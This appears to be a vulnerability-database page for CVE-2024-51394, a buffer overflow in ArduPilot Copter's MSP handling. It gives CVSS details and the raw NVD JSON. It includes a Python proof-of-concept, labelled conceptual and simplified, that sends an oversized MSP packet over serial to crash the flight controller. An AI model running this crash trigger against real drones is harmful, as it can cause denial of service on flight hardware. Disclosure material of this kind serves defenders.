Security Vulnerability Report
中文
CVE-2024-51394 CVSS 5.5 MEDIUM

CVE-2024-51394

Published: 2026-05-13 16:16:35
Last Modified: 2026-05-13 18:16:11

Description

Buffer Overflow vulnerability in Ardupiot Copter Latest commit 92693e023793133e49a035daf37c14433e484778 allows a local attacker to cause a denial of service via the AP_MSP::loop, AP_MSP, AP_MSP.cpp components.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

ArduPilot Copter commit 92693e023793133e49a035daf37c14433e484778

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (Conceptual) # This script demonstrates the trigger condition for the buffer overflow. # It sends a crafted MSP packet with excessive length to the target interface. import serial import time def trigger_overflow(port='/dev/ttyUSB0', baudrate=115200): try: # Initialize serial connection ser = serial.Serial(port, baudrate, timeout=1) # MSP Header: '$M<' (Direction: IN) header = b'$M<' # Vulnerability: AP_MSP::loop does not check bounds properly. # We simulate a payload larger than the expected buffer size. # Assuming the buffer is small (e.g., 64 bytes), we send 256 bytes. payload_size = 256 message_type = b'\xFF' # Arbitrary message ID payload = b'A' * payload_size # Calculate checksum (simplified for PoC) checksum = (sum(message_type) + sum(payload)) & 0xFF packet = header + bytes([payload_size]) + message_type + payload + bytes([checksum]) print(f"[+] Sending malicious packet of size {len(packet)} bytes...") ser.write(packet) print("[+] Packet sent. Check device status for crash/DoS.") ser.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Adjust the port according to your environment trigger_overflow()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-51394", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:34.553", "lastModified": "2026-05-13T18:16:11.147", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in Ardupiot Copter Latest commit 92693e023793133e49a035daf37c14433e484778 allows a local attacker to cause a denial of service via the AP_MSP::loop, AP_MSP, AP_MSP.cpp components."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "references": [{"url": "https://github.com/ArduPilot/ardupilot/issues/28458", "source": "[email protected]"}]}}